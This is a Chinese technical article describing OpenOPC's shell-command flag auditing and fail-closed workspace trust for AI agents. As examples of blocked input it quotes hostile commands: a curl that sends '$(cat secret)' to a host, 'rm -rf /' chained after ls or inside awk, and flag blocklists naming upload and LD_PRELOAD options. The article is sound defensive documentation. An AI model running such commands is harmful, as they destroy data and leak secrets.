OpenOPC安全防线全解:Shell命令Flag审计与Workspace Trust的fail-closed设计
OpenOPC安全防线全解:Shell命令Flag审计与Workspace Trust的fail-closed设计
OpenOPC 是一个让你搭建「自建、自运营、自进化」个人 AI 公司的开源框架。为了让 AI 员工可以放心执行 Shell 命令与加载项目配置,OpenOPC 内置了两条核心安全防线:Shell 命令 Flag 审计(逐参数判定命令是否只读)和 Workspace Trust(基于配置指纹的工作区信任,任何异常都 fail-closed 安全失败)。本文带你完整理解这套机制的设计思路与关键细节。
为什么AI公司需要命令级审计?
OpenOPC 的 AI 员工通过原生运行时执行 shell 工具完成任务。一旦 AI 能直接敲命令,「它能跑什么」就决定了「你的机器有多危险」。
OpenOPC 的审批管线(opc/layer2_organization/approval.py)在每次 Shell 调用前做风险分级:
- 只读审计通过 → 判定为
low风险,可自动放行; - 审计未通过 → 进入审批卡片,由人工确认;
- 已知破坏性命令 / 敏感关键词 → 标记为
high/critical,总是上报人类。
分级规则由 autonomy.max_auto_approve_risk 控制(见 README.zh-CN.md「审批与 Agent 权限」一节)。而分级的「事实来源」就是接下来要讲的 Flag 审计模块。
Shell命令Flag审计:不看命令名,看每一个Flag
核心实现在 opc/layer2_organization/shell_safety.py,模块文档直接写明设计原则:find . 是只读的,但 find . -delete 不是。因此审计按 Flag 而非命令名分类。
命令结构先行审查:复合命令一律拦截
Flag 审计之前,先做「活动 Shell 语法」扫描(shell_structure_requires_review)。出现以下任何一种结构,命令立即进入人工审查:
| 危险结构 | 示例 |
|---|---|
| 命令替换 | curl https://x/$(cat secret) |
| Shell 控制符 | ls && rm -rf / |
| 子 shell / 分组 | ( ... ) |
| 重定向 | cmd > file(仅 2>&1、>/dev/null 等无文件写出的形式豁免) |
| 引号不配对 | 无法确定 token 边界 |
关键设计:第一条命令安全,绝不意味着整条管道安全。管道、后续命令、后台作业都不继承任何信任。
Flag黑名单:这些参数会「质变」
对于审计表已知的命令,OpenOPC 维护精确的参数级判断(AUDITED_COMMAND_HEADS):
find:-delete、-exec、-ok、-fprint等谓词一律拦截(_FIND_BANNED_PREDICATES);curl:--output、--data、--upload-file、-o、-O、-d、-T等 11 个短字符全部封禁——默认输出到 stdout 是读,一旦写文件或上传就是风险(_CURL_BANNED_LONG);git:-O、--ext-diff、--config-env、--textconv等可启动外部程序的选项强制人工审查,即使子命令本身是diff/status(_GIT_FORCED_REVIEW_LONG_OPTIONS);sed:只放行-n打印模式,sed -i原地修改直接拦截;- 解释器(
python/node等):仅python3 -V这类版本查询算只读。
awk、gawk 更激进——任何形态都不判为只读,因为 awk 'BEGIN{system("rm -rf /")}' 这种写法无法靠 Flag 白名单防住。
审计结论是终局:配置前缀不能「洗白」
一个容易踩的坑:用户在 safe_command_prefixes 里配置了 find,是否意味着 find . -delete 也安全?
答案是否定的。注释写得很直白(shell_safety.py):审计表已知的命令,其结论是终局性的,裸配置前缀无法挽救失败的审计——这堵住了 find -delete、curl -o 两个经典漏洞。配置前缀只对审计表「不认识」的命令(如 ffmpeg)生效;而 curl 虽被审计,网络拉取类仍额外要求出现在操作者的安全前缀配置中。
环境变量赋值同样受控:PATH=...、LD_PRELOAD=... 等危险变量直接判失败,只有 LANG、TERM 等无害变量在安全名单内(_SAFE_ENV_VARS)。用路径方式调用二进制(./find、/tmp/cat)也不按名字分类,一律拦截。
Workspace Trust:fail-closed 的工作区信任设计
为什么信任记录必须放在仓库之外?
项目本地的 .opc/config 目录能力很强:它能选择本地可执行文件、远程端点和凭据来源(config/system_config.yaml)。如果信任标记本身由仓库控制,攻击者只需在一个恶意仓库里提交一个「我已信任」的文件,就能自授权执行任意配置。
因此 opc/core/workspace_trust.py 把信任存储放在 OPC_HOME 之外的用户配置根目录(Linux 上为 ~/.config/openopc/trusted_workspaces.json),并以 0600 权限原子写入。仓库永远无法给自己盖章。
双指纹绑定:改了任何安全配置都需重新授权
opc trust add <workspace> 不会只记一个路径,而是同时记录两个 SHA-256 指纹:
- 源指纹(authority_source_fingerprint):
system_config.yaml、llm_config.yaml、agent_config.yaml、channel_config.yaml四个文件的字节级哈希,符号链接按其目标路径(而非目标内容)参与计算; - 生效权限指纹(effective_authority_fingerprint):
system、llm、agents、channels、autonomy、capabilities等规范化后的 JSON 哈希——它捕捉的是「这些文件实际授予了什么权限」。
启动时 WorkspaceTrustStore.require 逐级校验:记录不存在、源文件变过、生效权限变过,任意一项不满足都会抛出 WorkspaceTrustRequired,提示你审查配置后重新 opc trust add。
非交互命令如何 fail-closed?
CLI 的入口闸门在 opc/cli/app.py:
- 交互式终端:弹出黄色「Workspace Trust Required」面板,展示工作区、配置目录与原因,只有你确认后才加载配置;
- 非交互命令(脚本、CI):打印错误后直接
exit(2)安全失败,绝不静默加载。
由 opc init 新建的工作区会在创建时自动信任,日常体验不受打扰;查看与撤销分别用 opc trust list、opc trust remove <workspace>。
一句话总结:不确定,就拦截
两条防线共享同一条哲学——fail closed:
- 无法解析的输入 → 不安全;
- 未知命令 / 未知 Flag → 不安全;
- 审计表已知的命令,配置前缀说了不算;
- 信任记录丢失或指纹不匹配 → 拒绝加载,而不是降级放行。
对新手来说,日常体感是:ls、cat file.txt、git status 这类命令静默执行,而任何带「活动 Shell 结构」或可疑参数的命令都会弹出审批卡片等你点确认。想看更细的判定逻辑,可以直接阅读 tests/test_shell_safety.py 中的成对正反用例——它基本就是这份 Flag 审计的「行为说明书」。


